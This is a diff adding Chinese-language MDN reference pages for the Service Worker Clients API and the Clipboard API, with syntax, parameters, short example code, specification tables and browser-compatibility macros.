当一个 service worker 被初始注册时,页面在下次加载之前不会使用它。 claim() 方法会立即控制这些页面。请注意,这会导致 service worker 控制通过网络定期加载的页面,或者可能通过不同的 service worker 加载.

+ +

语法

+ +
await clients.claim();
+
+ +

参数

+ +

None.

+ +

返回

+ +

A {{jsxref("Promise")}} for void.

+ +

示例

+ +

The following example uses claim() inside service worker's "activate" event listener so that clients loaded in the same scope do not need to be reloaded before their fetches will go through this service worker.

+ +
self.addEventListener('activate', event => {
+  event.waitUntil(clients.claim());
+});
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Service Workers', '#clients-claim', 'claim()')}}{{Spec2('Service Workers')}}Initial definition.
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.Clients.claim")}}

+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/clients/get/index.html b/files/zh-cn/web/api/clients/get/index.html new file mode 100644 index 0000000000..3a9d732f63 --- /dev/null +++ b/files/zh-cn/web/api/clients/get/index.html @@ -0,0 +1,60 @@ +--- +title: Clients.get() +slug: Web/API/Clients/get +translation_of: Web/API/Clients/get +--- +
{{SeeCompatTable}}{{APIRef("Service Workers API")}}
+ +

{{domxref("Clients")}} 接口的 get() 方法 获取给定 id 匹配的Service Worker client,并在 {{jsxref("Promise")}} 中返回它.

+ +

语法

+ +
self.clients.get(id).then(function(client) {
+  // do something with your returned client
+});
+ +

参数

+ +
+
id
+
一个 {{domxref("DOMString")}} ,表示您想要获取的 client id.
+
+ +

返回

+ +
+
一个resolve为 {{domxref("Client")}} 对象的 Promise .
+
+ +

示例

+ +
self.clients.get(options).then(function(client) {
+  self.clients.openWindow(client.url);
+});
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Service Workers', '#clients-get-method', 'get()')}}{{Spec2('Service Workers')}}Initial definition
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.Clients.get")}}

+
+ +

 

diff --git a/files/zh-cn/web/api/clients/index.html b/files/zh-cn/web/api/clients/index.html new file mode 100644 index 0000000000..713e753621 --- /dev/null +++ b/files/zh-cn/web/api/clients/index.html @@ -0,0 +1,90 @@ +--- +title: Clients +slug: Web/API/Clients +translation_of: Web/API/Clients +--- +

{{SeeCompatTable}}{{APIRef("Service Workers API")}}

+ +

Clients 接口提供对 {{domxref("Client")}} 对象的访问. 通过在  service worker 中使用 {{domxref("ServiceWorkerGlobalScope", "self")}}.clients 访问它.

+ +

方法

+ +
+
{{domxref("Clients.get()")}}
+
返回一个匹配给定 {{domxref("Client.id", "id")}} 的 {{domxref("Client")}} 的 {{jsxref("Promise")}} .
+
{{domxref("Clients.matchAll()")}}
+
返回一个 {{domxref("Client")}} 对象数组的 {{jsxref("Promise")}} . options参数允许您控制返回的clients类型. 
+
{{domxref("Clients.openWindow()")}}
+
打开给定URL的新浏览器窗口,并返回新 {{domxref("WindowClient")}} a 的 {{jsxref("Promise")}} .
+
{{domxref("Clients.claim()")}}
+
允许一个激活的 service worker 将自己设置为其{{domxref("ServiceWorkerRegistration.scope", "scope")}} 内所有 clients 的 {{domxref("ServiceWorkerContainer.controller", "controller")}} . 
+
+ +

示例

+ +

下面示例显示一个已有的聊天窗口,或者当用户点击通知时创建新的窗口.

+ +
addEventListener('notificationclick', event => {
+  event.waitUntil(async function() {
+    const allClients = await clients.matchAll({
+      includeUncontrolled: true
+    });
+
+    let chatClient;
+
+    // Let's see if we already have a chat window open:
+    for (const client of allClients) {
+      const url = new URL(client.url);
+
+      if (url.pathname == '/chat/') {
+        // Excellent, let's use it!
+        client.focus();
+        chatClient = client;
+        break;
+      }
+    }
+
+    // If we didn't find an existing chat window,
+    // open a new one:
+    if (!chatClient) {
+      chatClient = await clients.openWindow('/chat/');
+    }
+
+    // Message the client:
+    chatClient.postMessage("New chat messages!");
+  }());
+});
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Service Workers', '#clients', 'Clients')}}{{Spec2('Service Workers')}}Initial definition
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.Clients")}}

+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/clients/matchall/index.html b/files/zh-cn/web/api/clients/matchall/index.html new file mode 100644 index 0000000000..1a07e1456c --- /dev/null +++ b/files/zh-cn/web/api/clients/matchall/index.html @@ -0,0 +1,68 @@ +--- +title: Clients.matchAll() +slug: Web/API/Clients/matchAll +translation_of: Web/API/Clients/matchAll +--- +
{{SeeCompatTable}}{{APIRef("Service Workers API")}}
+ +

{{domxref("Clients")}} 接口的  matchAll() 方法返回 service worker {{domxref("Client")}} 对象列表的 Promise . 包含 options 参数以返回域与关联的 service worker 的域相同所有 service worker 的 clients. 如果未包含 options,该方法仅返回由service worker控制的 service worker clients.

+ +

语法

+ +
ServiceWorkerClients.matchAll(options).then(function(clients) {
+  // do something with your clients list
+});
+ +

参数

+ +
+
options {{optional_inline}}
+
一个options对象,允许您为匹配操作设置选项。 可用选项包括: +
    +
  • includeUncontrolled: {{domxref("Boolean")}} — 如果设置为true, 匹配操作将返回与当前服务工作者共享相同源的所有服务工作者客户端。 否则,它仅返回由当前服务工作者控制的服务工作者客户端。 默认值为false.
  • +
  • type: 设置想要匹配的 clients 类型. 可用值包括 window, worker, sharedworker, 和 all. 默认是 all.
  • +
+
+
+ +

返回值

+ +
+
resolve为一个 {{domxref("Client")}} 对象数组的 Promise . 在 Chrome 46/Firefox 54 以及更高版本中, 该方法以最近关注的顺序返回 clients , 根据规范更正.
+
+ +

示例

+ +
clients.matchAll(options).then(function(clientList) {
+  for (var i = 0 ; i < clients.length ; i++) {
+    if (clientList[i].url === 'index.html') {
+      clients.openWindow(clientList[i]);
+      // or do something else involving the matching client
+    }
+  }
+});
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Service Workers', '#clients', 'Clients')}}{{Spec2('Service Workers')}}Initial definition
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.Clients.matchAll")}}

+
diff --git a/files/zh-cn/web/api/clients/openwindow/index.html b/files/zh-cn/web/api/clients/openwindow/index.html new file mode 100644 index 0000000000..18a85d7538 --- /dev/null +++ b/files/zh-cn/web/api/clients/openwindow/index.html @@ -0,0 +1,81 @@ +--- +title: Clients.openWindow() +slug: Web/API/Clients/openWindow +translation_of: Web/API/Clients/openWindow +--- +

{{SeeCompatTable}}{{APIRef("Service Workers API")}}

+ +

{{domxref("Clients")}}接口的 openWindow() 方法创建一个顶级的浏览器上下文并加载给定的 URL. 如果调用脚本没有显示弹出窗口的权限, openWindow() 将抛出 InvalidAccessError.

+ +

在Firefox中,只有在作为通知点击事件的结果调用时,才允许该方法显示弹出窗口.

+ +

在Chrome for Android中,该方法可以改为在先前添加到用户主屏幕的 standalone web app 提供的现有浏览上下文中打开URL.

+ +

语法

+ +
ServiceWorkerClients.openWindow(url).then(function(WindowClient) {
+  // do something with your WindowClient
+});
+ +

参数

+ +
+
url
+
一个 {{domxref("USVString")}} ,表示要在窗口中打开的client的URL。 通常,此值必须是与调用脚本有相同域的URL.
+
+ +

返回值

+ +
+
如果URL来自与服务工作者相同的域,则resolve为 {{domxref("WindowClient")}} 对象的Promise,否则resolve为 {{Glossary("null", "null value")}} .
+
+ +

示例

+ +
// When the user clicks a notification focus the window if it exists or open
+// a new one otherwise.
+onotificationclick = function(event) {
+  var found = false;
+  clients.matchAll().then(function(clientsArr) {
+    for (i = 0; i < clientsArr.length; i++) {
+      if (clientsArr[i].url === event.data.url) {
+        // We already have a window to use, focus it.
+        found = true;
+        clientsArr[i].focus();
+        break;
+      }
+    }
+    if (!found) {
+      // Create a new window.
+      clients.openWindow(event.data.url).then(function(windowClient) {
+        // do something with the windowClient.
+      });
+    }
+  });
+};
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Service Workers', '#clients', 'Clients')}}{{Spec2('Service Workers')}}Initial definition.
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.Clients.openWindow")}}

+
diff --git a/files/zh-cn/web/api/clipboard/index.html b/files/zh-cn/web/api/clipboard/index.html new file mode 100644 index 0000000000..834376f01e --- /dev/null +++ b/files/zh-cn/web/api/clipboard/index.html @@ -0,0 +1,89 @@ +--- +title: Clipboard +slug: Web/API/Clipboard +tags: + - API + - Clipboard + - 剪切 + - 剪切板 + - 剪贴板 + - 参考 + - 复制 + - 接口 + - 粘贴 + - 编辑 +translation_of: Web/API/Clipboard +--- +
{{APIRef("Clipboard API")}}
+ +

Clipboard 接口实现了 Clipboard API,如果用户授予了相应的权限,就能提供系统剪贴板的读写访问。在 Web 应用程序中,Clipboard API 可用于实现剪切、复制和粘贴功能。

+ +

系统剪贴板暴露于全局属性 {{domxref("Navigator.clipboard")}} 之中。

+ +

如果用户没有适时使用 Permissions API 授予相应权限和"clipboard-read" 或 "clipboard-write" 权限,调用 Clipboard 对象的方法不会成功。

+ +
+

注意:实际上,现在浏览器对于访问剪贴板权限的索取各有不同,在章节 {{anch("剪贴板可用性")}} 查看更多细节。

+
+ +

所有剪贴板 API 方法都是异步的;它们返回一个 {{jsxref("Promise")}} 对象,在剪贴板访问完成后被执行。如果剪贴板访问被拒绝,promise 也会被拒绝。

+ +
+

剪贴板 是用于短期数据储存或转移的数据缓存区,数据转移可以发生在文档和应用程序之间。剪贴板常常实现为一个匿名的、临时的 数据缓存,有时也叫做粘贴缓存,可由绝大部分位于已定义编程接口的环境中的程序访问。

+ +

一个典型的应用程序常通过将 用户输入 如 组合键, 菜单选择 等映射到这些接口来访问剪贴板。

+
+ +

方法

+ +

Clipboard 继承自 {{domxref("EventTarget")}} 接口,因此拥有它的方法。

+ +
+
{{domxref("Clipboard.read()","read()")}}
+
从剪贴板读取数据(比如图片),返回一个 {{jsxref("Promise")}} 对象。When the data has been retrieved, the promise is resolved with a {{domxref("DataTransfer")}} object that provides the data。
+
{{domxref("Clipboard.readText()","readText()")}}
+
从操作系统读取文本;returns a Promise which is resolved with a {{domxref("DOMString")}} containing the clipboard's text once it's available。
+
{{domxref("Clipboard.write()","write()")}}
+
写入任意数据至操作系统剪贴板。This asynchronous operation signals that it's finished by resolving the returned Promise
+
{{domxref("Clipboard.writeText()","writeText()")}}
+
写入文本至操作系统剪贴板。returning a Promise which is resolved once the text is fully copied into the clipboard。
+
+ +

剪贴板可用性

+ +

异步剪贴板 API 是一个相对较新的 API,浏览器仍在逐渐实现它。由于潜在的安全问题和技术复杂性,大多数浏览器正在逐步集成这个 API。

+ +

例如,Firefox 不支持 "clipboard-read" 和 "clipboard-write" 权限,所以使用其他方式访问或改变剪贴板中的内容会受限。

+ +

对于浏览器扩展来说,你可以要求 clipboardRead 和 clipboardWrite 权限以使用 clipboard.readText() 和 clipboard.writeText()。但基于 HTTP 的网站中包含的脚本则不能获得剪贴板对象。参考 extensions in Firefox 63

+ +

除此之外, {{domxref("Clipboard.read", "read()")}} 以及{{domxref("Clipboard.write", "write()")}} 是默认禁用且需要修改偏好设置来启用的。在使用之前请先确认浏览器兼容性表格。

+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('Clipboard API','#clipboard-interface','Clipboard')}}{{Spec2('Clipboard API')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.Clipboard")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/clipboard/read/index.html b/files/zh-cn/web/api/clipboard/read/index.html new file mode 100644 index 0000000000..7b0ffa7bda --- /dev/null +++ b/files/zh-cn/web/api/clipboard/read/index.html @@ -0,0 +1,84 @@ +--- +title: Clipboard.read() +slug: Web/API/Clipboard/read +tags: + - API + - Clip + - Clipboard + - Clipboard API + - read +translation_of: Web/API/Clipboard/read +--- +
{{APIRef("Clipboard API")}}
+ +

The read() method of the {{domxref("Clipboard")}} interface requests a copy of the clipboard's contents, delivering the data to the returned {{jsxref("Promise")}} when the promise is resolved. Unlike {{domxref("Clipboard.readText", "readText()")}}, the read() method can return arbitrary data, such as images.

+ +

To read from the clipboard, you must first have the "clipboard-read" permission.

+ +
+

Note: The asynchronous Clipboard and Permissions APIs are still in the process of being integrated into most browsers, so they often deviate from the official rules for permissions and the like. Be sure to review the {{anch("Browser compatibility", "compatibility table")}} before using these methods.

+
+ +

语法

+ +
var promise = navigator.clipboard.read();
+ +

Parameters

+ +

None.

+ +

Return value

+ +

A {{jsxref("Promise")}} that resolves with a {{domxref("DataTransfer")}} object containing the clipboard's contents. The promise is rejected if permission to access the clipboard is not granted.

+ +

例子

+ +

After using {{domxref("Permissions.query", "navigator.permissions.query()")}} to find out if we have (or if the user will be prompted to allow) "clipboard-read" access, this example fetches the data currently on the clipboard. If it's not plain text, an error message is presented. Otherwise, an element referred to using the variable textElem has its contents replaced with the clipboard's contents.

+ +
// First, ask the Permissions API if we have some kind of access to
+// the "clipboard-read" feature.
+
+navigator.permissions.query({name: "clipboard-read"}).then(result => {
+  // If permission to read the clipboard is granted or if the user will
+  // be prompted to allow it, we proceed.
+
+  if (result.state == "granted" || result.state == "prompt") {
+    navigator.clipboard.read().then(data => {
+      for (let i=0; i<data.items.length; i++) {
+        if (data.items[i].type != "text/plain") {
+          alert("Clipboard contains non-text data. Unable to access it.");
+        } else {
+          textElem.innerText = data.items[i].getAs("text/plain");
+        }
+      }
+    });
+  }
+});
+
+ +
+

Note: At this time, while Firefox does implement read(), it does not recognize the "clipboard-read" permission, so attempting to use the Permissions API to manage access to the API will not work.

+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Clipboard API','#h-clipboard-read','read()')}}{{Spec2('Clipboard API')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.Clipboard.read")}}

diff --git a/files/zh-cn/web/api/clipboard/readtext/index.html b/files/zh-cn/web/api/clipboard/readtext/index.html new file mode 100644 index 0000000000..44f5d76e5e --- /dev/null +++ b/files/zh-cn/web/api/clipboard/readtext/index.html @@ -0,0 +1,68 @@ +--- +title: Clipboard.readText() +slug: Web/API/Clipboard/readText +tags: + - API + - Async Clipboard API + - Clip + - Clipboard + - readText + - 复制 + - 粘贴 +translation_of: Web/API/Clipboard/readText +--- +
{{APIRef("Clipboard API")}}
+ +
{{domxref("Clipboard")}} 接口的readText()方法解析系统剪贴板的文本内容返回一个{{jsxref("Promise")}}
+ +

语法

+ +
var promise = navigator.clipboard.readText()
+ +

参数

+ +

None.

+ +

返回值

+ +

A {{jsxref("Promise")}} that resolves with a {{domxref("DOMString")}} containing the textual contents of the clipboard. Returns an empty string if the clipboard is empty, does not contain text, or does not include a textual representation among the {{domxref("DataTransfer")}} objects representing the clipboard's contents.

+ +

要从剪贴板中读取非文本内容,请改用{{domxref("Clipboard.read", "read()")}}方法。您可以使用 {{domxref("Clipboard.writeText", "writeText()")}}将文本写入剪贴板

+ +

例子

+ +

此示例检索剪贴板的文本内容,并将返回的文本插入元素的内容中。

+ +
navigator.clipboard.readText().then(
+  clipText => document.getElementById("outbox").innerText = clipText);
+ +

规范

+ + + + + + + + + + + + + + +
规范状态注解
{{SpecName('Clipboard API','#h-clipboard-readtext','readText()')}}{{Spec2('Clipboard API')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.Clipboard.readText")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/clipboard/write/index.html b/files/zh-cn/web/api/clipboard/write/index.html new file mode 100644 index 0000000000..a7f69da118 --- /dev/null +++ b/files/zh-cn/web/api/clipboard/write/index.html @@ -0,0 +1,76 @@ +--- +title: Clipboard.write() +slug: Web/API/Clipboard/write +translation_of: Web/API/Clipboard/write +--- +

{{APIRef("Clipboard API")}}

+ +
 
+ +

 

+ +
 
+ +

{{domxref("Clipboard")}} 的方法 write() 写入图片等任意的数据到剪贴板。 这个方法可以用于实现剪切和复制的功能。

+ +

但是你要提前获取 "Permissions API" 的 "clipboard-write" 权限才能将数据写入到剪贴板。

+ +
+

注意: 浏览器对这个异步剪贴板的 API 仍然在讨论中。所以在使用它之前请检查 {{anch("Browser compatibility", "compatibility table")}} 和 {{SectionOnPage("/en-US/docs/Web/API/Clipboard", "Clipboard availability")}} 以获得更多的兼容性信息。

+
+ +

语法

+ +
var promise = navigator.clipboard.write(dataTransfer)
+ +

参数

+ +
+
dataTransfer
+
{{domxref("DataTransfer")}} 对象包含了要写入剪贴板的数据。
+
+ +

返回值

+ +

当数据被写入到剪贴板的时候,{{jsxref("Promise")}} resolve 回调被执行。如果剪贴板不能完成剪贴操作,{{jsxref("Promise")}}  reject 回调被执行。

+ +

示例

+ +

这个例子展示了如何将当前剪贴板的内容替换为给定的内容。

+ +
function setClipboard(text) {
+  let data = new DataTransfer();
+
+  data.items.add("text/plain", text);
+  navigator.clipboard.write(data).then(function() {
+    /* success */
+  }, function() {
+    /* failure */
+  });
+}
+
+ +

代码创建了一个 {{domxref("DataTransfer")}} 对象,要替换的内容存储在这里。执行 {{domxref("DataTransferItemList.add()")}} 将数据写入进去,然后执行 write() 方法,指定执行成功或错误的结果。

+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('Clipboard API','#h-clipboard-write-data','write()')}}{{Spec2('Clipboard API')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.Clipboard.write")}}

diff --git a/files/zh-cn/web/api/clipboard/writetext/index.html b/files/zh-cn/web/api/clipboard/writetext/index.html new file mode 100644 index 0000000000..e60e7204fe --- /dev/null +++ b/files/zh-cn/web/api/clipboard/writetext/index.html @@ -0,0 +1,68 @@ +--- +title: Clipboard.writeText() +slug: Web/API/Clipboard/writeText +tags: + - API + - Clip + - Clipboard + - Clipboard API + - writeText +translation_of: Web/API/Clipboard/writeText +--- +
{{APIRef("Clipboard API")}}
+ +

{{domxref("Clipboard")}} 接口的 writeText() 方法可以写入特定字符串到操作系统的剪切板。

+ +
+

Note: 规范要求在写入剪贴板之前使用 Permissions API 获取“剪贴板写入”权限。但是,不同浏览器的具体要求不同,因为这是一个新的API。有关详细信息,请查看{{anch("Browser compatibility", "compatibility table")}} and {{SectionOnPage("/en-US/docs/Web/API/Clipboard", "Clipboard availability")}}。

+
+ +

语法

+ +
var promise = navigator.clipboard.writeText(newClipText)
+ +

参数

+ +
+
newClipText
+
The {{domxref("DOMString")}} to be written to the clipboard.
+
+

返回值

+
+
+ +

一个{{jsxref("Promise")}} ,一旦剪贴板的内容被更新,它就会被解析。如果调用者没有写入剪贴板的权限,则拒绝写入剪切板(reject)

+ +

例子

+ +

此示例将剪贴板的内容设置为字符串“<empty clipboard>”。

+ +
navigator.clipboard.writeText("<empty clipboard>").then(function() {
+  /* clipboard successfully set */
+}, function() {
+  /* clipboard write failed */
+});
+
+ +

规范

+ + + + + + + + + + + + + + +
规范状态注解
{{SpecName('Clipboard API','#h-clipboard-writetext-data','writeText()')}}{{Spec2('Clipboard API')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.Clipboard.writeText")}}

diff --git a/files/zh-cn/web/api/clipboard_api/index.html b/files/zh-cn/web/api/clipboard_api/index.html new file mode 100644 index 0000000000..ca91bca0a3 --- /dev/null +++ b/files/zh-cn/web/api/clipboard_api/index.html @@ -0,0 +1,73 @@ +--- +title: Clipboard API +slug: Web/API/Clipboard_API +tags: + - API + - Clipboard + - Clipboard API + - 剪贴板 + - 剪贴板 API + - 参考 +translation_of: Web/API/Clipboard_API +--- +
{{APIRef("Clipboard API")}}
+ +

剪贴板 Clipboard API 提供了响应剪贴板命令(剪切、复制和粘贴)与异步读写系统剪贴板的能力。从权限 Permissions API 获取权限之后,才能访问剪贴板内容;如果用户没有授予权限,则不允许读取或更改剪贴板内容。

+ +

该 API 被设计用来取代使用 {{domxref("document.execCommand()")}} 的剪贴板访问方式。

+ +

访问剪贴板

+ +

除了在实例化中创建一个 Clipboard 对象,你还可以使用全局的 {{domxref("Navigator.clipboard")}} 来访问系统剪贴板。

+ +
navigator.clipboard.readText().then(
+  clipText => document.querySelector(".editor").innerText += clipText);
+ +

上述代码提取了剪贴板的文本并将其附在 class 为 editor 的第一个元素后面。因为当剪贴板中不是文本时, {{domxref("Clipboard.readText", "readText()")}} (and {{domxref("Clipboard.read", "read()")}}, for that matter) 会返回一个空字符串,所以这段代码是安全的。

+ +

接口

+ +
+
{{domxref("Clipboard")}} {{securecontext_inline}}
+
提供了一个用于读写系统剪贴板上的文本和数据的接口。规范中被称为异步剪贴板 API(Async Clipboard API)。
+
{{domxref("ClipboardEvent")}} {{securecontext_inline}}
+
表示提供了有关剪贴板修改的信息的事件,也就是 {{domxref("Element/cut_event", "cut")}}、{{domxref("Element/copy_event", "copy")}},和 {{domxref("Element/paste_event", "paste")}}。规范中被称为剪贴板事件 API(Clipboard Event API)。
+
+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('Clipboard API')}}{{Spec2('Clipboard API')}}初步定义
+ +

浏览器兼容性

+ +

Clipboard

+ + + +

{{Compat("api.Clipboard")}}

+ +

ClipboardEvent

+ + + +

{{Compat("api.ClipboardEvent")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/clipboardevent/clipboarddata/index.html b/files/zh-cn/web/api/clipboardevent/clipboarddata/index.html new file mode 100644 index 0000000000..c34c04ebae --- /dev/null +++ b/files/zh-cn/web/api/clipboardevent/clipboarddata/index.html @@ -0,0 +1,58 @@ +--- +title: ClipboardEvent.clipboardData +slug: Web/API/ClipboardEvent/clipboardData +tags: + - API + - Clipboard API + - ClipboardEvent + - clipboardData + - 剪贴板 + - 实验性 +translation_of: Web/API/ClipboardEvent/clipboardData +--- +

{{ apiref("Clipboard API") }} {{SeeCompatTable}}

+ +

ClipboardEvent.clipboardData 属性保存了一个 {{domxref("DataTransfer")}} 对象,这个对象可用于:

+ + + +

参见 {{event("cut")}} 、{{event("copy")}} 和 {{event("paste")}} 事件的文档以获取更多信息。

+ +

语法

+ +
data = ClipboardEvent.clipboardData
+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('Clipboard API', '#widl-ClipboardEvent-clipboardData', 'ClipboardEvent.clipboardData') }}{{ Spec2('Clipboard API') }}Initial definition.
+ +

浏览器兼容性

+ +

{{Compat("api.ClipboardEvent.clipboardData")}}

+ +

相关链接

+ +
+ + diff --git a/files/zh-cn/web/api/clipboardevent/clipboardevent/index.html b/files/zh-cn/web/api/clipboardevent/clipboardevent/index.html new file mode 100644 index 0000000000..d9096f9dd7 --- /dev/null +++ b/files/zh-cn/web/api/clipboardevent/clipboardevent/index.html @@ -0,0 +1,68 @@ +--- +title: ClipboardEvent() +slug: Web/API/ClipboardEvent/ClipboardEvent +tags: + - API + - Clipboard API + - ClipboardEvent + - 剪贴板 + - 参考 + - 实验性 +translation_of: Web/API/ClipboardEvent/ClipboardEvent +--- +

{{APIRef("Clipboard API")}}{{SeeCompatTable}}

+ +

ClipboardEvent() 构造函数返回一个新建的 {{domxref("ClipboardEvent")}} 对象, 这个对象表示与修改剪切板相关的事件 ,这些事件包括 {{event("cut")}} 、 {{event("copy")}}  和 {{event("paste")}} 事件。

+ +

语法

+ +
var clipboardEvent = new ClipboardEvent(type[, options]);
+ +

参数

+ +

ClipboardEvent() 构造函数也从 {{domxref("Event.Event", "Event()")}} 继承参数。

+ +
+
type
+
一个 {{domxref("DOMString")}} 字符串,描述了 ClipboardEvent  事件类型的名字,大小写敏感,可以是:'copy''cut'或者 'paste'
+
options {{optional_inline}}
+
选项如下: +
    +
  • clipboardData: 一个 {{domxref("DataTransfer")}} containing the data concerned by the clipboard event.
  • +
  • dataType{{non-standard_inline}}: A {{domxref("DOMString")}} containing the MIME-type of the data contained in the data argument.
  • +
  • data{{non-standard_inline}}: A {{domxref("DOMString")}} containing the data concerned by the clipboard event.
  • +
+
+
+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态注释
{{ SpecName('Clipboard API', '#idl-def-ClipboardEventInit', 'ClipboardEvent()') }}{{ Spec2('Clipboard API') }}Initial definition.
+ +

浏览器兼容性

+ +

{{Compat("api.ClipboardEvent.ClipboardEvent")}}

+ +

相关链接

+ +
+ + diff --git a/files/zh-cn/web/api/clipboardevent/index.html b/files/zh-cn/web/api/clipboardevent/index.html new file mode 100644 index 0000000000..a37f08ad76 --- /dev/null +++ b/files/zh-cn/web/api/clipboardevent/index.html @@ -0,0 +1,126 @@ +--- +title: ClipboardEvent +slug: Web/API/ClipboardEvent +tags: + - Clipboard + - Clipboard API + - Clipboard Events +translation_of: Web/API/ClipboardEvent +--- +

{{APIRef("Clipboard API")}} {{SeeCompatTable}}

+ +

ClipboardEvent 接口描述了与修改剪切板相关信息的事件,这些事件包括 剪切{{event("cut")}} , 复制{{event("copy")}} 和 粘贴{{event("paste")}} 事件。

+ +

构造函数

+ +
+
{{domxref("ClipboardEvent.ClipboardEvent", "ClipboardEvent()")}}
+
用给定的参数创建了一个 ClipboardEvent 事件。
+
+ +

属性

+ +

同样是从其父类  {{domxref("Event")}} 继承的属性。

+ +
+
{{domxref("ClipboardEvent.clipboardData")}} {{readonlyInline}}
+
是一个 {{domxref("DataTransfer")}} 对象,它包含了由用户发起的 {{event("cut")}}  、 {{event("copy")}}  和 {{event("paste")}}  操作影响的数据, 以及它的 MIME 类型。
+
+ +
+
+ +

方法

+ +

没有特定方法;从父类 {{domxref("Event")}} 继承方法。

+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态注释
{{ SpecName('Clipboard API', '#clipboard-event-interfaces', 'ClipboardEvent') }}{{ Spec2('Clipboard API') }}Initial definition.
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}4.0{{CompatVersionUnknown}}{{CompatVersionUnknown}}
clipboardData{{CompatVersionUnknown}}{{CompatGeckoDesktop("22.0")}}5.0{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}4.0{{CompatVersionUnknown}}{{CompatVersionUnknown}}
clipboardData{{CompatVersionUnknown}}{{CompatGeckoMobile("22.0")}}5.0{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+https://github.com/mdn/browser-compat-data
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/clipboarditem/index.html b/files/zh-cn/web/api/clipboarditem/index.html new file mode 100644 index 0000000000..54979c2fdc --- /dev/null +++ b/files/zh-cn/web/api/clipboarditem/index.html @@ -0,0 +1,139 @@ +--- +title: ClipboardItem +slug: Web/API/ClipboardItem +tags: + - API + - Clipboard + - Clipboard API + - ClipboardItem + - Cut + - Interface + - NeedsTranslation + - Reference + - TopicStub + - copy + - paste +translation_of: Web/API/ClipboardItem +--- +
{{draft}}{{DefaultAPISidebar("Clipboard API")}}
+ +

The ClipboardItem interface of the {{domxref('Clipboard API')}} represents a single item format, used when reading or writing data via the {{domxref('Clipboard API')}}. That is {{domxref("clipboard.read()")}} and {{domxref("clipboard.write()")}} respectively.

+ +

The benefit of having the ClipboardItem interface to represent data, is that it enables developers to cope with the varying scope of file types and data easily.

+ +

Access to the contents of the clipboard is gated behind the Permissions API: The clipboard-write permission is granted automatically to pages when they are in the active tab. The clipboard-read permission must be requested, which you can do by trying to read data from the clipboard.

+ +
+

Note: To work with text see the {{domxref("Clipboard.readText()")}} and {{domxref("Clipboard.writeText()")}} methods of the {{domxref("Clipboard")}} interface.

+
+ +
+

Note: You can only pass in one clipboard item at a time.

+
+ +

Constructor

+ +
+
{{domxref("ClipboardItem.ClipboardItem()")}}
+
Creates a new ClipboardItem object, with the {{Glossary("MIME type")}} as the key and {{domxref("Blob")}} as the value
+
+ +

Properties

+ +

This interface provides the following properties.

+ +
+
{{domxref("ClipboardItem.types", "types")}} {{ReadOnlyInline}}
+
Returns an {{jsxref("Array")}} of MIME types available within the ClipboardItem.
+
+ +

Methods

+ +

This interface defines the following methods.

+ +
+
{{domxref("ClipboardItem.getType", "getType()")}}
+
Returns a {{jsxref("Promise")}} that resolves with a {{domxref("Blob")}} of the requested {{Glossary("MIME type")}}, or an error if the MIME type is not found.
+
+ +

Examples

+ +

Writing To Clipboard

+ +

Here we're writing a new {{domxref("ClipboardItem.ClipboardItem()")}} to the {{domxref("Clipboard API", "clipboard")}} by requesting a png image using the {{domxref("Fetch API")}}, and in turn, the {{domxref("Body.blob()", "responses' blob()")}} method, to create the new {{domxref("ClipboardItem")}}.

+ +
async function writeClipImg() {
+  try {
+    const imgURL = '/myimage.png';
+    const data = await fetch(imgURL);
+    const blob = await data.blob();
+
+    await navigator.clipboard.write([
+      new ClipboardItem({
+        [blob.type]: blob
+      })
+    ]);
+    console.log('Fetched image copied.');
+  } catch(err) {
+    console.error(err.name, err.message);
+  }
+}
+
+ +

Reading From The Clipboard

+ +

Here we're returning all items on the clipboard via the {{domxref("clipboard.read()")}} method. Then utilizing the {{domxref("ClipboardItem.types")}} property to set the {{domxref("ClipboardItem.getType", "getType()")}} argument and return the corresponding blob object.

+ +
async function getClipboardContents() {
+  try {
+    const clipboardItems = await navigator.clipboard.read();
+
+    for (const clipboardItem of clipboardItems) {
+
+      for (const type of clipboardItem.types) {
+        const blob = await clipboardItem.getType(type);
+        // we can now use blob here
+      }
+
+    }
+
+  } catch (err) {
+    console.error(err.name, err.message);
+  }
+}
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Clipboard API','#clipboarditem','ClipboardItem')}}{{Spec2('Clipboard API')}}Initial definition.
+ +

Browser compatibility
